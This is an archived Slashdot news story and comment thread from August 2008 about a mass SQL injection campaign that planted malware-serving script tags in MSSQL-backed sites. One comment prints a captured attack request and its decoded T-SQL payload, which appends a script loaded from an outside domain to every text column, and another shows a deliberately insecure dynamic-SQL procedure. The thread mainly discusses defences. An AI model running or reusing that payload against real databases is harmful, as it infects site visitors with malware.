Want to read Slashdot from your mobile device? Point it at m.slashdot.org and keep reading!


Forgot your password?
Databases Security The Internet

New SQL Injection Attack Fuses Malware, Phishing 202

PainMeds tips a recent post in Secure Computing's research blog describing a new SQL injection attack that had infected thousands of MSSQL-based web servers by last weekend, turning them into malware delivery systems. The attack apparently rewrites the server's Web pages to include JavaScript which pushes malware to the visitor as if it were from the genuine site. Sites using Sybase might possibly be vulnerable, as it uses the same exploited syntax that MSSQL does. The post includes an example of the attack. Unlike most malware attacks, this one appears to originate from the site the user is actually visiting. From the blog: "'Similar to phishing, this attack takes advantage of the website visitor's trust in the site they are visiting. Instead of phishing for information, however, malware is sent to the client, which the client has a higher likelihood of accepting being from a trusted site... These web pages are associated with Web sites from around the world and supplying various content — including government sites, sales sites, real estate sites, and financial information sites among others."
This discussion has been archived. No new comments can be posted.

New SQL Injection Attack Fuses Malware, Phishing

Comments Filter:
  • Not really new (Score:5, Insightful)

    by liquidpele ( 663430 ) on Tuesday August 12, 2008 @04:14PM (#24574229) Journal
    They're just inserting the javascript directly into the websites's content, instead of putting an iframe to a hacked server to then run the javascript...

    Seriously, did anyone *not* see this coming? I always wondered why they didn't do this to begin with... I guess so they could update the malware being distributed since it was all from a central location.
    • Re: (Score:3, Informative)

      by Bert64 ( 520050 )

      Yes, nothing new at all...
      People used to do this by compromising the site in other ways, and inserting their malware rather than defacing the site... Some subtle malware tagged to a site is a lot less obvious than a blatant defacement so it lasts a lot longer and gets more hits.

    • They're just inserting the javascript directly into the websites's content, instead of putting an iframe to a hacked server to then run the javascript...

      No, they're still using a central location. It's only a script tag instead of an iframe. Same idea though.

  • by Anonymous Coward on Tuesday August 12, 2008 @04:14PM (#24574233)
    malware + phishing = phalware?
  • by Anonymous Coward

    Our web apps got hammered with this over the weekend... our simple but effective SQL injection block kept them out, but it is also comforting to know that even if it had not, it would not have worked on good ol' MySQL 4.1

    Also, for what its worth, all of the IPs (100s of them used in the course of 3 days) trace back to ISPs based in Beijing. Hmmm...

  • UPDATE management SET perf_review='Epic Fail' WHERE jobtitle='MSSQL Engineer';
    • by Anonymous Coward on Tuesday August 12, 2008 @04:27PM (#24574443)

      You'd have to be an idiot programmer to have a site succumb to this... It's not even "microsoft specific".

      It would affect any site that takes request parameters and passes them straight through to the db engine (well, not specifically this syntax, but the concept behind the attack).

      To be fair to Microsoft (heresy here, I know) asp.net built-in validation throws an exception.

      In other words, not only would a programmer have to use raw request string data with the db, he would also have had to specifically disabled the default page validation. In other words, an idiot.

      My website got hit with this type of attack last week, and the attempts were all rejected by the default validation. Even if the default validation had got past, all of the database queries use parameterized stored procedure calls which pretty much ignore this kind of crap anyway.

      Still, it's made me think more about security and additional parameter validation. Maybe the next attack will be a bit sneakier..

      • The "feature" of MSSQL that allows compound statements separated by semicolons, without any sort of begin / end block, makes it particularly vulnerable to this type of SQL injection attack.

        This type of attack requires more than just modifying a where clause or changing a value - it requires injecting one or more complete statements. MSSQL allows you to begin a new statement in the middle of any unchecked parameter. Most databases don't. That is why MSSQL is unusually vulnerable to this sort of attack.


  • Why is using stored procedures so taboo. It is a very easy way to protect against most SQL Injections. It also allows you to share the database logic to different apps as well, allowing more integration across your other apps. update x set x.y=@varname where x.j=@find is so much more secure then sql_exec("update x set x.y='"+varname+"' where x.j='"+find)

    • Re: (Score:2, Insightful)

      by Anonymous Coward

      The whole SP vs inline sql debate is an entirely different kettle of fish (btw stored procs suck =P). The easiest way to protect against sql injection is parameterise your sql (yes you can do that with inline sql!). Next easiest thing - realise that everything from outside the system is essentially user input and treat it as such.

      I use .NET / Sql Server on a daily basis - it isn't hard to make these kind of attacks a non-event, the problem is the multitude of drag and drop developers who have nfi what the

    • Why is using stored procedures [to prevent SQL injections by creating an in-DB 'api'] so taboo?

      ORM (object relational mapping) tools can't speak your stored procedure API.

  • Am I in a time warp? (Score:5, Informative)

    by johnathan ( 44958 ) on Tuesday August 12, 2008 @04:23PM (#24574393) Homepage
    This attack has been going on for months... http://hackademix.net/2008/04/26/mass-attack-faq/ [hackademix.net]
    • by ShaunC ( 203807 )

      Thanks, I was just about to go dig that up myself. Every couple of days, someone new shows up on DZone claiming to have "discovered" this "new attack" (typically by having been a victim of it), and the meme makes the rounds yet again. Quite frustrating hearing so many cries of wolf.

  • by G33kDragon ( 699950 ) on Tuesday August 12, 2008 @04:29PM (#24574459) Homepage

    We were added to the attack list a few weeks back, and one of our largest, most popular websites was hit. Apparently, the developers had never thought to sanitize their data, and we had multiple vulnerabilities throughout the site.

    I implemented a transparent reverse proxy server running Apache with mod_security that helped prevent further attacks from getting through, but the developers finally saw the error of their ways and converted hundreds of inline SQL calls into stored procedures.

    Since we were added to "the list", I've been seeing the same attack happen across multiple pages every 20 seconds, so they are definitely not letting up anytime soon.

    • by pembo13 ( 770295 )
      Stored procedures? Or prepared statements? Just asking.
    • Re: (Score:3, Interesting)

      by CastrTroy ( 595695 )
      Let me guess, they converted

      "Select * from Users Where UserID='" & Request("UserID") & "'"


      CREATE PROCEDURE GET_USER_DATA(@UserID varchar(200))
      exec('SELECT * FROM Users WHERE UserID=''' + @UserID + '''')

      Using stored procedures doesn't solve anything if developers don't actually understand what the problem is. You don't even need to use stored procedures. Simply switching to prepared statements would have fixed the problem.
      • by RingDev ( 879105 )

        I LOL'd

        On a side note, I ran into a similar situation a few days ago. I was toying around with the idea of writing my own forum years ago when I was in school with way too much free lab time. I was smart enough to use validate parameters before passing them to stored procs, but when I ran out of time to play with it I just pulled down the posting and listing pages, so that people going to the website could no longer browse or post. What I forgot to pull down though, was the actual script that posted pages.

    • Re: (Score:3, Informative)

      by burnin1965 ( 535071 )

      the developers had never thought to sanitize their data

      Oh it goes well beyond sanitizing input data, why were they not utilizing the least privilige principle [wikipedia.org] in their application design? Allowing an unauthenticated user to use a database user with full privileges to the database tables when only selects are required on specific tables is asking for trouble.

      In most cases I suspect the developers are, well, just lazy. When presented with a ready made least privilege PHP application design [sourceforge.net] the response by mul

  • Not new at all (Score:4, Informative)

    by dzfoo ( 772245 ) on Tuesday August 12, 2008 @04:39PM (#24574635)

    This trojan, called Asprox or Danmec, has been around for a few years. It was originally intended as a Spam distribution system but I believe that sometime in 2007 an SQL Injection tool was installed via its botnet. It has been doing the rounds every so often on the Internet since at least January.

    http://blogs.zdnet.com/security/?p=1122 [zdnet.com]
    http://www.secureworks.com/research/threats/danmecasprox/?threat=danmecasprox [secureworks.com]


  • by Sloppy ( 14984 ) on Tuesday August 12, 2008 @04:40PM (#24574655) Homepage Journal

    I just looked and see this in my logs too; looks like they started on August 6 over here.

    What's funny is that it looks like they're trying the attack in pairs: once in the "classical" quotation mark form (GET /index.php';SQLCOMMANDSHERE) and then again without the quotation mark (GET /index.php;SQLCOMMANDSHERE). How is that second form supposed to get executed? They've gotta be trying it for a reason.

    • Re: (Score:2, Informative)

      by Rearden82 ( 923468 )
      I know MySQL permits un-quoted integers, as in "SELECT * from foo where foo_id=42".

      In that case your first example would be adding an opening quote, so the injection would fail. Perhaps MSSQL is even more lenient and lets you get away with un-quoted strings as well.
      • by Sloppy ( 14984 )
        Oh, of course. It's for numeric queries. I feel like an idiot for not seeing that. Thanks. :-)
      • No, MSSQL doesn't let you use unquoted strings. When you decode the string the attack is sending in you will find quotes around info the it's sending into the sysobjects.xtype parameters.

        It's a pretty interesting attack, really. It gets around sql-scrubbing code by sending the quotes in as hex, and it only runs the update code to append the javascript on char, varchar, ntext & nvarchar fields, at least on the versions of it i've seen.

        i won't get too redundant on the "you should use stored procs" thing
    • Some sort of strange logging where it's saving all requested page URLs straight to a DB? That's about all I can muster.

  • It seems with each passing year that the web is becoming more "broken".

    Perhaps the problem is too many groups are attempting to use it as if it is a fail-safe system - banks, corporations, financial institutions, governments. It was never designed to be fail-safe. Frankly if they had treated it more like a the "wild west web" and less like a "cheaper and easier platform for advertising/cost-cutting" then we wouldn't be in this mess.

    Answers on a postcard as to how to fix it.
    • Perhaps?

      Dan Kaminsky said in his BlackHat speech something that can be extrapolated to every technology. Essentially, the statement was, that a feature that wasn't meant as a security feature shouldn't be seen as such, even if it happens to appear as one (IIRC it was about the TTL increasing the time between attack attempts. TTL was never meant to be a security feature).

      The net was never meant to handle secure bank transactions. The internet was concepted as an open network between (more or less) trusted no

      • by Shados ( 741919 )

        The thing is, the barrier for entry for anything "global" is so stupidly high... getting things accepted by the public is harder and harder, and large scale projects are farther and farther in between (unless they involve war).

        So as soon as something of large scale appears, people jump on it. Be it Youtube, Facebook, the Internet, fossil fuel, TV, HTML 4.0... You can't make up stuff like that everyday.. we all wish we could have stuff truly designed for what we need it... but its so hard to get it massively

        • The things you mention as examples all offer something that people didn't have before and wanted. Youtube gave them an easy way to display their videos, Facebook is an easy way to have your own page for your friends to look at, the internet itself ... c'mon, we're using it right now, it has value. I dunno yet what value, but it has to have some...

          Anyway. All those things offer some additional value people didn't enjoy before they appeared. So if you want "secure internet" to happen, you have to show people

          • by Shados ( 741919 )

            Your examples do show something: People don't want value or features. They want mindless and easy, regardless of how useful or anything else it is for them. Mindless and easy is what they want, nothing more. They'll buy something they don't need or want, if its mindless and easy.

            So yeah...secure internet will never go through. You have to find something mindless and easy that just so freagin happen to be more secure than what we have now.

  • by TheNinjaroach ( 878876 ) on Tuesday August 12, 2008 @04:57PM (#24574875)
    I can't wait to see how many posts will bash Microsoft for the 'obvious' vulnerabilities they left in their SQL Server product..
  • WELCOME TO LAST YEAR. This sort of SQL injection - DECLARE/CAST/EXEC has been going on since last November.

  • From TFA:

    This ultimately causes the web server's visitors to, depending on their client, be sent one of many different forms of malware from the referred pages. Similar to phishing, this attack takes advantage of the website visitor's trust in the site they are visiting. Instead of phishing for information, however, malware is sent to the client, which the client has a higher likelihood of accepting being from a trusted site.

    If this means that the browser allows malware to actually be installed without user

  • by the_olo ( 160789 ) on Tuesday August 12, 2008 @09:23PM (#24577501) Homepage

    I can see those in my webserver's logs dating back to 23rd of July: - - [23/Jul/2008:18:59:01 +0200] "GET /MYPATH/MYSCRIPT?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4...%20AS%20CHAR(4000));EXEC(@S); HTTP/1

    Oh, and the hexes decode to:

    DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

    (phew, I'm lucky to get that through Slashdot's filter!)

    You can easily decode that from your webserver logs even on MySQL, just take into account the different CAST syntax:

    mysql> select CAST(0x444543....36F72 AS CHAR(4000));

  • by Jack Hughes ( 5351 ) on Wednesday August 13, 2008 @10:08AM (#24582545) Homepage
    .. For the last three months?

    The attack is ancient.

    The method of delivery is a bit newer - a few months ago it all got a lot more efficiently delivered - it's pretty mainstream knowledge, even this article [scmagazineuk.com] from the paper edition of SC Magazine talks about it - and their copy deadlines will be from weeks ago.

May all your PUSHes be POPped.